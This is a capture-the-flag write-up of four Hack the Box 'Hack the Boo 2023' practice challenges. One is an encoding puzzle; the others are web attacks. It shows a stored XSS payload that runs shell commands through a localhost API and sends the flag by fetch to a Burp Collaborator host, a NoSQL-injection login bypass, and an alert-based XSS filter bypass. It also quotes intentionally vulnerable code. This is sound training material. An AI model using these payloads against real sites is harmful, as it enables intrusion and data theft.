Hack the Box (HTB) – Hack the Boo Practice CTF 2023

This is a walk-through of the Hack the Boo CTF 2023 (Practice, October 23-25) of Hack the Box for Halloween.

💡 For walk-through of all challenges, see htboo-ctf-2023 (GitHub).

Crypto

Hexoding – Very easy – 300 pts

In order to be a successful ghost in the modern society, a ghost must fear nothing. Caspersky always loved scaring people, but he could not reach his maximum potential because he was fearful of cryptography. This is why he wants to join the Applied Cryptography Academy of Ghosts. To gain admission, the professors give you a challenge that you need to solve. They try to spook you with weird functions, but don’t be scared; the challenge can be solved even without the source code. Can you help Caspersky pass the entrance exams?

  • Download the file.
  • Unzip the file.
unzip crypto_hexoding64.zip
cd crypto_hexoding64

Look at the output.txt file.

4854427b6b6e3077316e675f6830775f74305f3164336e743166795f336e633064316e675f736368336d33735f31735f6372756331346c5f6630725f615f
Y3J5cHQwZ3I0cGgzcl9fXzRsczBfZDBfbjB0X2MwbmZ1czNfZW5jMGQxbmdfdzF0aF9lbmNyeXA1MTBuIX0=

Look at the source code provided. The first half of the flag is hexadecimal, the second half is encoded in base 64.

[...]
def main():
    first_half = FLAG[:len(FLAG)//2]
    second_half = FLAG[len(FLAG)//2:]

    hex_encoded = to_hex(first_half)
    base64_encoded = to_base64(second_half)

    with open('output.txt', 'w') as f:
        f.write(f'{hex_encoded}\n{base64_encoded}')

Use Cyberchef to decode the first part using the From Hex recipe.

4854427b6b6e3077316e675f6830775f74305f3164336e743166795f336e633064316e675f736368336d33735f31735f6372756331346c5f6630725f615f
HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_

Use CyberChef to decode the second part using the From Base64 recipe.

Y3J5cHQwZ3I0cGgzcl9fXzRsczBfZDBfbjB0X2MwbmZ1czNfZW5jMGQxbmdfdzF0aF9lbmNyeXA1MTBuIX0=
crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}

FLAG: HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}

Web

PumpkinSpice – Easy – 325 pts

In the eerie realm of cyberspace, a shadowy hacker collective known as the “Phantom Pumpkin Patch” has unearthed a sinister Halloween-themed website, guarded by a devious vulnerability. As the moon casts an ominous glow, their cloaked figures gather around the flickering screens, munching on pickles, ready to exploit this spectral weakness.

  • Spawn the docker.
  • Download the files.
  • Unzip the file
unzip web_pumpkinspice.zip
cd challenge

Inspect the code of app.py: There is an API /api/stats that can only be called from localhost. Usual tricks of adding HTTP headers to bypass it did not work.

[...]
@app.route("/api/stats", methods=["GET"])
def stats():
    remote_address = request.remote_addr
    if remote_address != "127.0.0.1" and remote_address != "::1":
        return render_template("index.html", message="Only localhost allowed")

    command = request.args.get("command")
    if not command:
        return render_template("index.html", message="No command provided")

    results = subprocess.check_output(command, shell=True, universal_newlines=True)
    return results
[...]

Inspect templates/addresses.html: the address uses the unsecure “|safe” operator. It should be possible to do a XSS.

[...]
{% for address in addresses %}
    <p>{{ address|safe }}</p>
{% endfor %}
[...]

Enter this payload in the address:

<script>(async () => {{let response = await fetch('/api/stats?command=ls+/');let flag = await response.text();response = await fetch('/api/stats?command=cat+/flag' + flag.split('flag')[1].substr(0, 10) + '.txt');flag = await response.text();await fetch('http://BURP-COLABORATOR-ID.oastify.com?c=' + btoa(flag))}})()</script>

The Burp Collaborator receives a request. The flag is encoded in base 64.

GET /?c=SFRCe3RoM190cjM0dF9tMXM1aTBufQo= HTTP/1.1
Host: 87d0jqqykbqno5kw7qmgps75cwin6eu3.oastify.com
Connection: keep-alive
User-Agent: HTB/1.0
Accept: */*
Origin: http://localhost:1337
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate

FLAG: HTB{th3_tr34t_m1s5i0n}

CandyVault – Very Easy – 300 pts

The malevolent spirits have concealed all the Halloween treats within their secret vault, and it’s imperative that you decipher its enigmatic seal to reclaim the candy before the spooky night arrives.

  • Spawn the docker.
  • Download the files.
  • Unzip the file.
unzip web_candyvault.zip

Inspect the application code in app.py:

@app.route("/login", methods=["POST"])
def login():
    content_type = request.headers.get("Content-Type")

    if content_type == "application/x-www-form-urlencoded":
        email = request.form.get("email")
        password = request.form.get("password")

    elif content_type == "application/json":
        data = request.get_json()
        email = data.get("email")
        password = data.get("password")
    
    else:
        return jsonify({"error": "Unsupported Content-Type"}), 400

    user = users_collection.find_one({"email": email, "password": password})

    if user:
        return render_template("candy.html", flag=open("flag.txt").read())
    else:
        return redirect("/")

There is a NoSQL Injection in the login. Use Burp Suite to send the payload to bypass the authentication.

POST /login HTTP/1.1
Host: 94.237.53.58:38726
[...]
Content-Type: application/json
Content-Length: 53
[...]

{"email":{"$ne": null}, "password":{"$ne": null}}

HTTP/1.1 200 OK
Server: Werkzeug/3.0.0 Python/3.8.18
Date: Tue, 24 Oct 2023 18:32:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2177
Connection: close

[...]
<body>
    <p data-text="HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}
">HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}
</p>
</body>
[...]

FLAG: HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}

SpookTastic – Very easy – 325 pts

On a moonless night, you delve into the dark web to uncover the hacker group “The Cryptic Shadows.” You find an encrypted message guiding you to a web challenge. They claim a cursed amulet, the ‘Amulet of Samhain,’ can unveil their treasure’s location, hidden deep within the site’s code, protected by formidable security. Only those brave enough to pop an alert will gain access to the prized amulet.

  • Spawn the docker.
  • Download the files.
  • Unzip the file.
unzip web_spooktastic.zip

Inspect app.py:

  • An API /api/register registers the email address to the newsletter. It validates the email address using the blacklist_pass function.
  • The blacklist_pass function returns false if the email address contains the word “script”. A weak defense against XSS…
  • The flag will be sent via a websocket.
[...]
def blacklist_pass(email):
    email = email.lower()

    if "script" in email:
        return False

    return True
[...]
def send_flag(user_ip):
    for id, ip in socket_clients.items():
        if ip == user_ip:
            socketio.emit("flag", {"flag": open("flag.txt").read()}, room=id)
[...]
def start_bot(user_ip):
[...]
send_flag(user_ip)
[...]
@app.route("/api/register", methods=["POST"])
def register():
    if not request.is_json or not request.json["email"]:
        return abort(400)
    
    if not blacklist_pass(request.json["email"]):
        return abort(401)

    registered_emails.append(request.json["email"])
    Thread(target=start_bot, args=(request.remote_addr,)).start()
    return {"success":True}
[...]

Inspect templates/bot.html: it renders the data using unsafe string escaping (“|safe” operator).

{% for email in emails %}
    <span>{{ email|safe }}</span><br/>
{% endfor %}

The application contains an XSS vulnerability. Enter an XSS payload (without the blacklisted word “script”) in the textbox and click Book Now at the bottom of the page. The flag will appear on screen but can be seen in websockets in Burp Suite.

<img src=0 onerror=alert(0) />
42["flag",{"flag":"HTB{4l3rt5_c4us3_jumpsc4r35!!}\n"}]

FLAG: HTB{4l3rt5_c4us3_jumpsc4r35!!}